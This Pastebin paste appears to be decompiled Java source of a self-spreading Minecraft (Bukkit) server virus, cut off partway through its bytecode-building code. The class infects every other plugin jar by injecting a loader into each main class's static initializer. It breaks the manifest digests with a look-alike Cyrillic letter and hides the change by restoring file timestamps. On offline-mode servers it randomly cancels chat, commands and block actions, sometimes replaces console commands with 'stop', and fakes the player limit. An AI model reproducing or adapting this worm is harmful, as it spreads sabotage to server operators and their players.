Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- * Decompiled with CFR 0_122.
- *
- * Could not load the following classes:
- * a
- * org.bukkit.Bukkit
- * org.bukkit.event.EventHandler
- * org.bukkit.event.Listener
- * org.bukkit.event.block.BlockBreakEvent
- * org.bukkit.event.block.BlockPlaceEvent
- * org.bukkit.event.inventory.InventoryMoveItemEvent
- * org.bukkit.event.player.AsyncPlayerChatEvent
- * org.bukkit.event.player.PlayerCommandPreprocessEvent
- * org.bukkit.event.player.PlayerDropItemEvent
- * org.bukkit.event.server.ServerCommandEvent
- * org.bukkit.event.server.ServerListPingEvent
- * org.bukkit.event.world.ChunkUnloadEvent
- * org.bukkit.event.world.WorldUnloadEvent
- * org.bukkit.plugin.Plugin
- * org.bukkit.plugin.PluginManager
- * org.objectweb.asm.ClassReader
- * org.objectweb.asm.ClassVisitor
- * org.objectweb.asm.ClassWriter
- * org.objectweb.asm.Label
- * org.objectweb.asm.Opcodes
- * org.objectweb.asm.Type
- * org.objectweb.asm.tree.AbstractInsnNode
- * org.objectweb.asm.tree.ClassNode
- * org.objectweb.asm.tree.FieldInsnNode
- * org.objectweb.asm.tree.FrameNode
- * org.objectweb.asm.tree.IincInsnNode
- * org.objectweb.asm.tree.InsnList
- * org.objectweb.asm.tree.InsnNode
- * org.objectweb.asm.tree.IntInsnNode
- * org.objectweb.asm.tree.JumpInsnNode
- * org.objectweb.asm.tree.LabelNode
- * org.objectweb.asm.tree.LdcInsnNode
- * org.objectweb.asm.tree.MethodInsnNode
- * org.objectweb.asm.tree.MethodNode
- * org.objectweb.asm.tree.TryCatchBlockNode
- * org.objectweb.asm.tree.TypeInsnNode
- * org.objectweb.asm.tree.VarInsnNode
- */
- import java.io.BufferedReader;
- import java.io.ByteArrayOutputStream;
- import java.io.File;
- import java.io.FileInputStream;
- import java.io.FileOutputStream;
- import java.io.InputStream;
- import java.io.InputStreamReader;
- import java.io.OutputStream;
- import java.io.RandomAccessFile;
- import java.io.Reader;
- import java.lang.management.ManagementFactory;
- import java.net.URI;
- import java.net.URL;
- import java.net.URLClassLoader;
- import java.nio.charset.Charset;
- import java.security.CodeSource;
- import java.security.ProtectionDomain;
- import java.util.Enumeration;
- import java.util.List;
- import java.util.Random;
- import java.util.jar.JarEntry;
- import java.util.jar.JarFile;
- import java.util.zip.ZipEntry;
- import java.util.zip.ZipOutputStream;
- import org.bukkit.Bukkit;
- import org.bukkit.event.EventHandler;
- import org.bukkit.event.Listener;
- import org.bukkit.event.block.BlockBreakEvent;
- import org.bukkit.event.block.BlockPlaceEvent;
- import org.bukkit.event.inventory.InventoryMoveItemEvent;
- import org.bukkit.event.player.AsyncPlayerChatEvent;
- import org.bukkit.event.player.PlayerCommandPreprocessEvent;
- import org.bukkit.event.player.PlayerDropItemEvent;
- import org.bukkit.event.server.ServerCommandEvent;
- import org.bukkit.event.server.ServerListPingEvent;
- import org.bukkit.event.world.ChunkUnloadEvent;
- import org.bukkit.event.world.WorldUnloadEvent;
- import org.bukkit.plugin.Plugin;
- import org.bukkit.plugin.PluginManager;
- import org.objectweb.asm.ClassReader;
- import org.objectweb.asm.ClassVisitor;
- import org.objectweb.asm.ClassWriter;
- import org.objectweb.asm.Label;
- import org.objectweb.asm.Opcodes;
- import org.objectweb.asm.Type;
- import org.objectweb.asm.tree.AbstractInsnNode;
- import org.objectweb.asm.tree.ClassNode;
- import org.objectweb.asm.tree.FieldInsnNode;
- import org.objectweb.asm.tree.FrameNode;
- import org.objectweb.asm.tree.IincInsnNode;
- import org.objectweb.asm.tree.InsnList;
- import org.objectweb.asm.tree.InsnNode;
- import org.objectweb.asm.tree.IntInsnNode;
- import org.objectweb.asm.tree.JumpInsnNode;
- import org.objectweb.asm.tree.LabelNode;
- import org.objectweb.asm.tree.LdcInsnNode;
- import org.objectweb.asm.tree.MethodInsnNode;
- import org.objectweb.asm.tree.MethodNode;
- import org.objectweb.asm.tree.TryCatchBlockNode;
- import org.objectweb.asm.tree.TypeInsnNode;
- import org.objectweb.asm.tree.VarInsnNode;
- /*
- * Duplicate member names - consider using --renamedupmembers true
- * Exception performing whole class analysis ignored.
- */
- public final class a
- implements Runnable,
- Listener,
- Opcodes {
- private static byte a = -66;
- private static String a = "r";
- private static Random a = new Random();
- private static byte[] a = new byte[0];
- private static byte[] b = new byte[]{0, 0};
- private static a a;
- public a() {
- a = this;
- new Thread((Runnable)a).start();
- }
- @Override
- public final void run() {
- try {
- PluginManager pluginManager = Bukkit.getPluginManager();
- Thread.sleep(a.nextInt(250));
- String string = ManagementFactory.getRuntimeMXBean().getName() + "_";
- if (!string.equals(System.getProperty(string))) {
- int n;
- System.setProperty(string, string);
- int n2 = 0;
- do {
- n = n2;
- n2 = 0;
- for (int i = 0; i < pluginManager.getPlugins().length; ++i) {
- if (!pluginManager.getPlugins()[i].isEnabled()) continue;
- ++n2;
- }
- Thread.sleep(10000);
- } while (n2 != n);
- a.b();
- a.a();
- pluginManager.registerEvents((Listener)a, pluginManager.getPlugins()[0]);
- }
- return;
- }
- catch (Exception exception) {
- return;
- }
- }
- private static void a() {
- for (Plugin plugin : Bukkit.getPluginManager().getPlugins()) {
- File file = new File(plugin.getClass().getProtectionDomain().getCodeSource().getLocation().toURI());
- if (a.a((File)file)) continue;
- try {
- if (plugin.isEnabled()) {
- ClassLoader classLoader = plugin.getClass().getClassLoader();
- if (classLoader instanceof URLClassLoader) {
- ((URLClassLoader)classLoader).close();
- }
- System.gc();
- }
- a.a((File)file);
- }
- catch (Exception exception) {}
- }
- }
- private static void b() {
- for (Plugin plugin : Bukkit.getPluginManager().getPlugins()) {
- File object = new File(plugin.getClass().getProtectionDomain().getCodeSource().getLocation().toURI());
- if (!a.a((File)object) || b[0] != 0 || b[1] != 0) continue;
- RandomAccessFile randomAccessFile = new RandomAccessFile(object, a);
- randomAccessFile.seek(object.length() - 2);
- randomAccessFile.read(b, 0, 2);
- int n = (b[0] & 255) << 8 | b[1] & 255;
- if ((long)n < object.length()) {
- randomAccessFile.seek(object.length() - (long)(n + 2));
- a = new byte[n];
- randomAccessFile.read(a, 0, n);
- }
- randomAccessFile.close();
- }
- }
- private static boolean a(File object) {
- if (object.length() > 17 && a.b((File)object)) {
- byte[] arrby = new byte[17];
- object = new FileInputStream((File)object);
- object.read(arrby);
- object.close();
- if (arrby[15] == (byte)(arrby[16] ^ a)) {
- return true;
- }
- return false;
- }
- return false;
- }
- private static boolean b(File file) {
- return file.getName().endsWith(".jar");
- }
- private static void a(File file) {
- if (!a.b((File)file)) {
- return;
- }
- if (a.a((File)file)) {
- return;
- }
- long l = file.lastModified();
- JarFile jarFile = new JarFile(file);
- Object object = "plugin.yml";
- if (jarFile.getEntry((String)object) != null) {
- Object object2;
- Object object3;
- ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
- ZipOutputStream zipOutputStream = new ZipOutputStream(byteArrayOutputStream);
- object = new BufferedReader(new InputStreamReader(jarFile.getInputStream(jarFile.getJarEntry((String)object))));
- String string = "";
- while ((object2 = object.readLine()) != null) {
- object3 = "main: ";
- if (!object2.contains((CharSequence)object3)) continue;
- string = object2.replaceAll((String)object3, "").replace('.', '/') + ".class";
- break;
- }
- object.close();
- object3 = jarFile.entries();
- while (object3.hasMoreElements()) {
- object = (JarEntry)object3.nextElement();
- object2 = new JarEntry(object.getName());
- byte[] arrby = a.a((InputStream)jarFile.getInputStream((ZipEntry)object));
- if (object.getName().equals("META-INF/MANIFEST.MF")) {
- Charset charset = Charset.forName("UTF-8");
- arrby = new String(arrby, charset).replaceAll("-Digest", "-Dig\u0435st").getBytes(charset);
- } else if (object.getName().equals(string)) {
- arrby = a.a((byte[])arrby);
- }
- object2.setTime(object.getTime());
- zipOutputStream.putNextEntry((ZipEntry)object2);
- zipOutputStream.write(arrby);
- zipOutputStream.closeEntry();
- }
- zipOutputStream.close();
- byteArrayOutputStream.close();
- jarFile.close();
- object = byteArrayOutputStream.toByteArray();
- if (object.length > 17) {
- byte by;
- object[15] = by = (byte)a.nextInt();
- object[16] = (byte)(by ^ a);
- }
- object2 = new FileOutputStream(file);
- object2.write((byte[])object);
- object2.write(a);
- object2.write(b);
- object2.close();
- file.setLastModified(l);
- }
- }
- private static byte[] a(InputStream inputStream) {
- int n;
- ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
- byte[] arrby = new byte[8192];
- while ((n = inputStream.read(arrby, 0, 8192)) != -1) {
- byteArrayOutputStream.write(arrby, 0, n);
- }
- byteArrayOutputStream.flush();
- return byteArrayOutputStream.toByteArray();
- }
- private static int a() {
- return (int)(Math.min(Math.max(System.currentTimeMillis() / 1000 - 1472688000, 0), 43200) / 432);
- }
- private static boolean a() {
- if (!Bukkit.getOnlineMode() && a.nextInt(100) < a.a()) {
- return true;
- }
- return false;
- }
- @EventHandler
- private static void a(AsyncPlayerChatEvent asyncPlayerChatEvent) {
- if (a.a()) {
- asyncPlayerChatEvent.setCancelled(true);
- }
- }
- @EventHandler
- private static void a(PlayerCommandPreprocessEvent playerCommandPreprocessEvent) {
- if (a.a()) {
- playerCommandPreprocessEvent.setCancelled(true);
- }
- }
- @EventHandler
- private static void a(ServerCommandEvent serverCommandEvent) {
- if (a.a()) {
- if (a.a()) {
- serverCommandEvent.setCommand("stop");
- return;
- }
- serverCommandEvent.setCancelled(true);
- }
- }
- @EventHandler
- private static void a(BlockBreakEvent blockBreakEvent) {
- if (a.a()) {
- blockBreakEvent.setCancelled(true);
- }
- }
- @EventHandler
- private static void a(BlockPlaceEvent blockPlaceEvent) {
- if (a.a()) {
- blockPlaceEvent.setCancelled(true);
- }
- }
- @EventHandler
- private static void a(PlayerDropItemEvent playerDropItemEvent) {
- if (a.a()) {
- playerDropItemEvent.setCancelled(true);
- }
- }
- @EventHandler
- private static void a(InventoryMoveItemEvent inventoryMoveItemEvent) {
- if (a.a()) {
- inventoryMoveItemEvent.setCancelled(true);
- }
- }
- @EventHandler
- private static void a(WorldUnloadEvent worldUnloadEvent) {
- if (a.a()) {
- worldUnloadEvent.setCancelled(true);
- }
- }
- @EventHandler
- private static void a(ChunkUnloadEvent chunkUnloadEvent) {
- if (a.a()) {
- chunkUnloadEvent.setCancelled(true);
- }
- }
- @EventHandler
- private static void a(ServerListPingEvent serverListPingEvent) {
- if (a.a()) {
- serverListPingEvent.setMaxPlayers((int)((float)serverListPingEvent.getNumPlayers() * ((float)a.a() / 100.0f)));
- }
- }
- private static byte[] a(byte[] classReader) {
- ClassWriter classWriter;
- classReader = new ClassReader((byte[])classReader);
- ClassNode classNode = new ClassNode();
- classReader.accept((ClassVisitor)classNode, 0);
- boolean bl = false;
- String string = "<clinit>";
- String string2 = "()V";
- for (MethodNode methodNode : classNode.methods) {
- if (!methodNode.name.equals(string) || !methodNode.desc.equals(string2)) continue;
- bl = true;
- a.a((MethodNode)methodNode, (boolean)true);
- }
- if (!bl) {
- classWriter = new MethodNode(9, string, string2, null, null);
- a.a((MethodNode)classWriter, (boolean)false);
- classNode.methods.add(classWriter);
- }
- classWriter = new ClassWriter(1);
- classNode.accept((ClassVisitor)classWriter);
- return classWriter.toByteArray();
- }
- private static void a(MethodNode methodNode, boolean bl) {
- String string24 = "java/lang/String";
- String string2 = string24 + "Builder";
- String string3 = "java/io/File";
- String string4 = "<init>";
- String string5 = "java/io/RandomAccessFile";
- String string6 = string3 + "InputStream";
- String string7 = "java/util/zip/Inflater";
- String string8 = "java/io/ByteArrayOutputStream";
- String string9 = "java/net/URL";
- String string10 = "java/lang/Class";
- String string11 = string10 + "Loader";
- String string12 = "length";
- String string13 = "read";
- String string14 = "close";
- String string15 = "()V";
- String string16 = "append";
- String string17 = "java/lang/reflect/Method";
- String string18 = "java/lang/Object";
- String string19 = "java/lang/Integer";
- String string20 = ";";
- String string21 = "java/lang/Thread";
- String string22 = "ClassLoader";
- String string23 = "([B)V";
- InsnList insnList = new InsnList();
- LabelNode labelNode = new LabelNode(new Label());
- LabelNode labelNode2 = new LabelNode(new Label());
- LabelNode labelNode3 = new LabelNode(new Label());
- insnList.add((AbstractInsnNode)labelNode);
- insnList.add((AbstractInsnNode)new TypeInsnNode(187, string3));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new TypeInsnNode(187, string24));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 8));
- insnList.add((AbstractInsnNode)new IntInsnNode(188, 8));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new InsnNode(3));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 112));
- insnList.add((AbstractInsnNode)new InsnNode(84));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new InsnNode(4));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 108));
- insnList.add((AbstractInsnNode)new InsnNode(84));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new InsnNode(5));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 117));
- insnList.add((AbstractInsnNode)new InsnNode(84));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new InsnNode(6));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 103));
- insnList.add((AbstractInsnNode)new InsnNode(84));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new InsnNode(7));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 105));
- insnList.add((AbstractInsnNode)new InsnNode(84));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new InsnNode(8));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 110));
- insnList.add((AbstractInsnNode)new InsnNode(84));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 6));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 115));
- insnList.add((AbstractInsnNode)new InsnNode(84));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 7));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 47));
- insnList.add((AbstractInsnNode)new InsnNode(84));
- insnList.add((AbstractInsnNode)new MethodInsnNode(183, string24, string4, string23, false));
- insnList.add((AbstractInsnNode)new MethodInsnNode(183, string3, string4, "(L" + string24 + ";)V", false));
- insnList.add((AbstractInsnNode)new VarInsnNode(58, 0));
- LabelNode labelNode4 = new LabelNode(new Label());
- insnList.add((AbstractInsnNode)labelNode4);
- insnList.add((AbstractInsnNode)new InsnNode(3));
- insnList.add((AbstractInsnNode)new VarInsnNode(54, 1));
- labelNode4 = new LabelNode(new Label());
- insnList.add((AbstractInsnNode)labelNode4);
- insnList.add((AbstractInsnNode)new LdcInsnNode((Object)new Long(-1)));
- insnList.add((AbstractInsnNode)new VarInsnNode(55, 2));
- labelNode4 = new LabelNode(new Label());
- insnList.add((AbstractInsnNode)labelNode4);
- insnList.add((AbstractInsnNode)new InsnNode(3));
- insnList.add((AbstractInsnNode)new VarInsnNode(54, 4));
- labelNode4 = new LabelNode(new Label());
- insnList.add((AbstractInsnNode)labelNode4);
- insnList.add((AbstractInsnNode)new VarInsnNode(25, 0));
- insnList.add((AbstractInsnNode)new MethodInsnNode(182, string3, "listFiles", "()[L" + string3 + string20, false));
- insnList.add((AbstractInsnNode)new VarInsnNode(58, 5));
- labelNode4 = new LabelNode(new Label());
- insnList.add((AbstractInsnNode)labelNode4);
- insnList.add((AbstractInsnNode)new InsnNode(3));
- insnList.add((AbstractInsnNode)new VarInsnNode(54, 6));
- labelNode4 = new LabelNode(new Label());
- insnList.add((AbstractInsnNode)labelNode4);
- insnList.add((AbstractInsnNode)new FrameNode(0, 6, new Object[]{string3, Opcodes.INTEGER, Opcodes.LONG, Opcodes.INTEGER, "[L" + string3 + string20, Opcodes.INTEGER}, 0, new Object[0]));
- insnList.add((AbstractInsnNode)new VarInsnNode(21, 6));
- insnList.add((AbstractInsnNode)new VarInsnNode(25, 5));
- insnList.add((AbstractInsnNode)new InsnNode(190));
- LabelNode labelNode5 = new LabelNode(new Label());
- insnList.add((AbstractInsnNode)new JumpInsnNode(162, labelNode5));
- LabelNode labelNode6 = new LabelNode(new Label());
- insnList.add((AbstractInsnNode)labelNode6);
- insnList.add((AbstractInsnNode)new VarInsnNode(25, 5));
- insnList.add((AbstractInsnNode)new VarInsnNode(21, 6));
- insnList.add((AbstractInsnNode)new InsnNode(50));
- insnList.add((AbstractInsnNode)new MethodInsnNode(182, string3, "isFile", "()Z", false));
- labelNode6 = new LabelNode(new Label());
- insnList.add((AbstractInsnNode)new JumpInsnNode(153, labelNode6));
- insnList.add((AbstractInsnNode)new VarInsnNode(25, 5));
- insnList.add((AbstractInsnNode)new VarInsnNode(21, 6));
- insnList.add((AbstractInsnNode)new InsnNode(50));
- insnList.add((AbstractInsnNode)new MethodInsnNode(182, string3, "getName", "()L" + string24 + string20, false));
- insnList.add((AbstractInsnNode)new TypeInsnNode(187, string24));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new InsnNode(7));
- insnList.add((AbstractInsnNode)new IntInsnNode(188, 8));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new InsnNode(3));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 46));
- insnList.add((AbstractInsnNode)new InsnNode(84));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new InsnNode(4));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 106));
- insnList.add((AbstractInsnNode)new InsnNode(84));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new InsnNode(5));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 97));
- insnList.add((AbstractInsnNode)new InsnNode(84));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new InsnNode(6));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 114));
- insnList.add((AbstractInsnNode)new InsnNode(84));
- insnList.add((AbstractInsnNode)new MethodInsnNode(183, string24, string4, string23, false));
- insnList.add((AbstractInsnNode)new MethodInsnNode(182, string24, "endsWith", "(L" + string24 + ";)Z", false));
- insnList.add((AbstractInsnNode)new JumpInsnNode(153, labelNode6));
- LabelNode labelNode7 = new LabelNode(new Label());
- insnList.add((AbstractInsnNode)labelNode7);
- insnList.add((AbstractInsnNode)new VarInsnNode(25, 5));
- insnList.add((AbstractInsnNode)new VarInsnNode(21, 6));
- insnList.add((AbstractInsnNode)new InsnNode(50));
- insnList.add((AbstractInsnNode)new VarInsnNode(58, 0));
- labelNode7 = new LabelNode(new Label());
- insnList.add((AbstractInsnNode)labelNode7);
- insnList.add((AbstractInsnNode)new VarInsnNode(25, 0));
- insnList.add((AbstractInsnNode)new MethodInsnNode(182, string3, string12, "()J", false));
- insnList.add((AbstractInsnNode)new InsnNode(136));
- insnList.add((AbstractInsnNode)new IntInsnNode(188, 8));
- insnList.add((AbstractInsnNode)new VarInsnNode(58, 7));
- labelNode7 = new LabelNode(new Label());
- insnList.add((AbstractInsnNode)labelNode7);
- insnList.add((AbstractInsnNode)new TypeInsnNode(187, string6));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new VarInsnNode(25, 0));
- insnList.add((AbstractInsnNode)new MethodInsnNode(183, string6, string4, "(L" + string3 + ";)V", false));
- insnList.add((AbstractInsnNode)new VarInsnNode(58, 8));
- labelNode7 = new LabelNode(new Label());
- insnList.add((AbstractInsnNode)labelNode7);
- insnList.add((AbstractInsnNode)new VarInsnNode(25, 8));
- insnList.add((AbstractInsnNode)new VarInsnNode(25, 7));
- insnList.add((AbstractInsnNode)new MethodInsnNode(182, string6, string13, "([B)I", false));
- insnList.add((AbstractInsnNode)new InsnNode(87));
- labelNode7 = new LabelNode(new Label());
- insnList.add((AbstractInsnNode)labelNode7);
- insnList.add((AbstractInsnNode)new VarInsnNode(25, 8));
- insnList.add((AbstractInsnNode)new MethodInsnNode(182, string6, string14, string15, false));
- string6 = new LabelNode(new Label());
- insnList.add((AbstractInsnNode)string6);
- insnList.add((AbstractInsnNode)new VarInsnNode(25, 7));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 15));
- insnList.add((AbstractInsnNode)new InsnNode(51));
- insnList.add((AbstractInsnNode)new VarInsnNode(25, 7));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 16));
- insnList.add((AbstractInsnNode)new InsnNode(51));
- insnList.add((AbstractInsnNode)new IntInsnNode(17, 190));
- insnList.add((AbstractInsnNode)new InsnNode(130));
- insnList.add((AbstractInsnNode)new InsnNode(145));
- insnList.add((AbstractInsnNode)new JumpInsnNode(160, labelNode6));
- string6 = new LabelNode(new Label());
- insnList.add((AbstractInsnNode)string6);
- insnList.add((AbstractInsnNode)new InsnNode(4));
- insnList.add((AbstractInsnNode)new VarInsnNode(54, 1));
- string6 = new LabelNode(new Label());
- insnList.add((AbstractInsnNode)string6);
- insnList.add((AbstractInsnNode)new VarInsnNode(25, 7));
- insnList.add((AbstractInsnNode)new VarInsnNode(25, 7));
- insnList.add((AbstractInsnNode)new InsnNode(190));
- insnList.add((AbstractInsnNode)new InsnNode(5));
- insnList.add((AbstractInsnNode)new InsnNode(100));
- insnList.add((AbstractInsnNode)new InsnNode(51));
- insnList.add((AbstractInsnNode)new IntInsnNode(17, 255));
- insnList.add((AbstractInsnNode)new InsnNode(126));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 8));
- insnList.add((AbstractInsnNode)new InsnNode(120));
- insnList.add((AbstractInsnNode)new VarInsnNode(25, 7));
- insnList.add((AbstractInsnNode)new VarInsnNode(25, 7));
- insnList.add((AbstractInsnNode)new InsnNode(190));
- insnList.add((AbstractInsnNode)new InsnNode(4));
- insnList.add((AbstractInsnNode)new InsnNode(100));
- insnList.add((AbstractInsnNode)new InsnNode(51));
- insnList.add((AbstractInsnNode)new IntInsnNode(17, 255));
- insnList.add((AbstractInsnNode)new InsnNode(126));
- insnList.add((AbstractInsnNode)new InsnNode(128));
- insnList.add((AbstractInsnNode)new InsnNode(133));
- insnList.add((AbstractInsnNode)new VarInsnNode(55, 2));
- string6 = new LabelNode(new Label());
- insnList.add((AbstractInsnNode)string6);
- insnList.add((AbstractInsnNode)new VarInsnNode(22, 2));
- insnList.add((AbstractInsnNode)new InsnNode(9));
- insnList.add((AbstractInsnNode)new InsnNode(148));
- insnList.add((AbstractInsnNode)new JumpInsnNode(158, labelNode6));
- string6 = new LabelNode(new Label());
- insnList.add((AbstractInsnNode)string6);
- insnList.add((AbstractInsnNode)new VarInsnNode(22, 2));
- insnList.add((AbstractInsnNode)new InsnNode(136));
- insnList.add((AbstractInsnNode)new VarInsnNode(54, 4));
- string6 = new LabelNode(new Label());
- insnList.add((AbstractInsnNode)string6);
- insnList.add((AbstractInsnNode)new VarInsnNode(25, 0));
- insnList.add((AbstractInsnNode)new MethodInsnNode(182, string3, string12, "()J", false));
- insnList.add((AbstractInsnNode)new VarInsnNode(22, 2));
- insnList.add((AbstractInsnNode)new LdcInsnNode((Object)new Long(2)));
- insnList.add((AbstractInsnNode)new InsnNode(97));
- insnList.add((AbstractInsnNode)new InsnNode(101));
- insnList.add((AbstractInsnNode)new VarInsnNode(55, 2));
- string6 = new LabelNode(new Label());
- insnList.add((AbstractInsnNode)string6);
- insnList.add((AbstractInsnNode)new JumpInsnNode(167, labelNode5));
- insnList.add((AbstractInsnNode)labelNode6);
- insnList.add((AbstractInsnNode)new FrameNode(3, 0, null, 0, null));
- insnList.add((AbstractInsnNode)new IincInsnNode(6, 1));
- insnList.add((AbstractInsnNode)new JumpInsnNode(167, labelNode4));
- insnList.add((AbstractInsnNode)labelNode5);
- insnList.add((AbstractInsnNode)new FrameNode(2, 1, null, 0, null));
- insnList.add((AbstractInsnNode)new VarInsnNode(21, 1));
- insnList.add((AbstractInsnNode)new JumpInsnNode(153, labelNode2));
- string6 = new LabelNode(new Label());
- insnList.add((AbstractInsnNode)string6);
- insnList.add((AbstractInsnNode)new TypeInsnNode(187, string5));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new VarInsnNode(25, 0));
- insnList.add((AbstractInsnNode)new LdcInsnNode((Object)a));
- insnList.add((AbstractInsnNode)new MethodInsnNode(183, string5, string4, "(L" + string3 + ";L" + string24 + ";)V", false));
- insnList.add((AbstractInsnNode)new VarInsnNode(58, 6));
- string6 = new LabelNode(new Label());
- insnList.add((AbstractInsnNode)string6);
- insnList.add((AbstractInsnNode)new VarInsnNode(25, 6));
- insnList.add((AbstractInsnNode)new VarInsnNode(22, 2));
- insnList.add((AbstractInsnNode)new MethodInsnNode(182, string5, "seek", "(J)V", false));
- string6 = new LabelNode(new Label());
- insnList.add((AbstractInsnNode)string6);
- insnList.add((AbstractInsnNode)new VarInsnNode(21, 4));
- insnList.add((AbstractInsnNode)new IntInsnNode(188, 8));
- insnList.add((AbstractInsnNode)new VarInsnNode(58, 7));
- string6 = new LabelNode(new Label());
- insnList.add((AbstractInsnNode)string6);
- insnList.add((AbstractInsnNode)new VarInsnNode(25, 6));
- insnList.add((AbstractInsnNode)new VarInsnNode(25, 7));
- insnList.add((AbstractInsnNode)new InsnNode(3));
- insnList.add((AbstractInsnNode)new VarInsnNode(21, 4));
- insnList.add((AbstractInsnNode)new MethodInsnNode(182, string5, string13, "([BII)I", false));
- insnList.add((AbstractInsnNode)new InsnNode(87));
- string6 = new LabelNode(new Label());
- insnList.add((AbstractInsnNode)string6);
- insnList.add((AbstractInsnNode)new VarInsnNode(25, 6));
- insnList.add((AbstractInsnNode)new MethodInsnNode(182, string5, string14, string15, false));
- string6 = new LabelNode(new Label());
- insnList.add((AbstractInsnNode)string6);
- insnList.add((AbstractInsnNode)new TypeInsnNode(187, string7));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new MethodInsnNode(183, string7, string4, string15, false));
- insnList.add((AbstractInsnNode)new VarInsnNode(58, 8));
- string6 = new LabelNode(new Label());
- insnList.add((AbstractInsnNode)string6);
- insnList.add((AbstractInsnNode)new VarInsnNode(25, 8));
- insnList.add((AbstractInsnNode)new VarInsnNode(25, 7));
- insnList.add((AbstractInsnNode)new MethodInsnNode(182, string7, "setInput", string23, false));
- string6 = new LabelNode(new Label());
- insnList.add((AbstractInsnNode)string6);
- insnList.add((AbstractInsnNode)new TypeInsnNode(187, string8));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new VarInsnNode(21, 4));
- insnList.add((AbstractInsnNode)new MethodInsnNode(183, string8, string4, "(I)V", false));
- insnList.add((AbstractInsnNode)new VarInsnNode(58, 9));
- string6 = new LabelNode(new Label());
- insnList.add((AbstractInsnNode)string6);
- insnList.add((AbstractInsnNode)new IntInsnNode(17, 1024));
- insnList.add((AbstractInsnNode)new IntInsnNode(188, 8));
- insnList.add((AbstractInsnNode)new VarInsnNode(58, 10));
- string6 = new LabelNode(new Label());
- insnList.add((AbstractInsnNode)string6);
- insnList.add((AbstractInsnNode)new FrameNode(0, 10, new Object[]{string3, Opcodes.INTEGER, Opcodes.LONG, Opcodes.INTEGER, "[L" + string3 + string20, string5, "[B", string7, string8, "[B"}, 0, new Object[0]));
- insnList.add((AbstractInsnNode)new VarInsnNode(25, 8));
- insnList.add((AbstractInsnNode)new MethodInsnNode(182, string7, "finished", "()Z", false));
- string3 = new LabelNode(new Label());
- insnList.add((AbstractInsnNode)new JumpInsnNode(154, (LabelNode)string3));
- string5 = new LabelNode(new Label());
- insnList.add((AbstractInsnNode)string5);
- insnList.add((AbstractInsnNode)new VarInsnNode(25, 8));
- insnList.add((AbstractInsnNode)new VarInsnNode(25, 10));
- insnList.add((AbstractInsnNode)new MethodInsnNode(182, string7, "inflate", "([B)I", false));
- insnList.add((AbstractInsnNode)new VarInsnNode(54, 11));
- string5 = new LabelNode(new Label());
- insnList.add((AbstractInsnNode)string5);
- insnList.add((AbstractInsnNode)new VarInsnNode(25, 9));
- insnList.add((AbstractInsnNode)new VarInsnNode(25, 10));
- insnList.add((AbstractInsnNode)new InsnNode(3));
- insnList.add((AbstractInsnNode)new VarInsnNode(21, 11));
- insnList.add((AbstractInsnNode)new MethodInsnNode(182, string8, "write", "([BII)V", false));
- string5 = new LabelNode(new Label());
- insnList.add((AbstractInsnNode)string5);
- insnList.add((AbstractInsnNode)new JumpInsnNode(167, (LabelNode)string6));
- insnList.add((AbstractInsnNode)string3);
- insnList.add((AbstractInsnNode)new FrameNode(3, 0, null, 0, null));
- insnList.add((AbstractInsnNode)new VarInsnNode(25, 9));
- insnList.add((AbstractInsnNode)new MethodInsnNode(182, string8, string14, string15, false));
- string3 = new LabelNode(new Label());
- insnList.add((AbstractInsnNode)string3);
- insnList.add((AbstractInsnNode)new VarInsnNode(25, 9));
- insnList.add((AbstractInsnNode)new MethodInsnNode(182, string8, "toByteArray", "()[B", false));
- insnList.add((AbstractInsnNode)new VarInsnNode(58, 7));
- string3 = new LabelNode(new Label());
- insnList.add((AbstractInsnNode)string3);
- insnList.add((AbstractInsnNode)new VarInsnNode(25, 8));
- insnList.add((AbstractInsnNode)new MethodInsnNode(182, string7, "end", string15, false));
- string3 = new LabelNode(new Label());
- insnList.add((AbstractInsnNode)string3);
- insnList.add((AbstractInsnNode)new TypeInsnNode(187, string24));
- insnList.add((AbstractInsnNode)new InsnNode(89));
